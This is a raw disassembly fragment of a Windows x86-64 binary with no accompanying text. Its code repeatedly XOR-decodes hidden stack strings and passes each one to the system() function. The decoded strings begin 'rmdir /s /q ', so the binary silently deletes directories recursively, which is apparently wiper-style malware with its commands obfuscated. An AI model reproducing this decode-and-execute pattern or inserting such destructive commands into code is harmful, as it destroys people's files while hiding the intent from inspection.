mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006dd40
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121f70]
mov edx, ebx
movdqa xmm1, xmmword [0x1401218c0]
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121a70]
movdqa xmmword [rbp - 0x19], xmm1
movdqa xmm1, xmmword [0x140121820]
movdqa xmmword [rbp - 9], xmm0
movdqa xmmword [rbp + 7], xmm1
mov dword [rbp - 0x39], 0x4b
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
nop word [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006ddc0
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121f70]
mov edx, ebx
movdqa xmm1, xmmword [0x1401218c0]
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121a70]
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp - 0x39], 0x47
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
movdqa xmmword [rbp - 0x19], xmm1
mov dword [rbp + 7], 0x9cccc9d2
mov dword [rbp + 0xb], 0xb0b0ab89
mov dword [rbp + 0xf], 0xc8beb4aa
nop
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006de40
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121710]
mov edx, ebx
movdqa xmm1, xmmword [0x140121f10]
movdqu xmmword [rbp - 0x35], xmm0
mov dword [rbp - 0x39], r15d
movdqu xmmword [rbp - 0x25], xmm1
mov dword [rbp - 0x15], 0xc1d7cce8
mov dword [rbp - 0x11], 0xa6c9
nop dword [rax]
nop word [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov r15d, dword [rbp - 0x39]
cmp edx, r15d
jb 0x14006dea0
lea rcx, [rbp - 0x35]
mov byte [rbp + r15 - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121e80]
mov edx, ebx
movdqa xmm1, xmmword [0x1401217f0]
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121ac0]
movdqa xmmword [rbp - 0x19], xmm1
movdqa xmm1, xmmword [0x1401215e0]
movdqa xmmword [rbp - 9], xmm0
movdqa xmm0, xmmword [0x140121350]
movdqa xmmword [rbp + 7], xmm1
movdqa xmm1, xmmword [0x140120c20]
movdqa xmmword [rbp + 0x17], xmm0
movdqa xmmword [rbp + 0x27], xmm1
mov dword [rbp - 0x39], r14d
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov r14d, dword [rbp - 0x39]
cmp edx, r14d
jb 0x14006df31
lea rcx, [rbp - 0x35]
mov byte [rbp + r14 - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121d20]
xor ecx, ecx
movdqa xmm1, xmmword [0x140121920]
mov eax, 0x44
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121ab0]
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
movdqa xmmword [rbp - 0x19], xmm1
mov dword [rbp + 7], 0x839fcdd9
mov dword [rbp + 0xb], 0xa1aba1a0
mov byte [rbp + 0xf], 0xc5
mov word [rbp + 0x10], cx
mov byte [rbp + 0x12], cl
test eax, eax
je 0x14006dfd7
nop dword [rax]
mov eax, ebx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rbx - 0x7f]
inc ebx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp ebx, eax
jb 0x14006dfc0
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret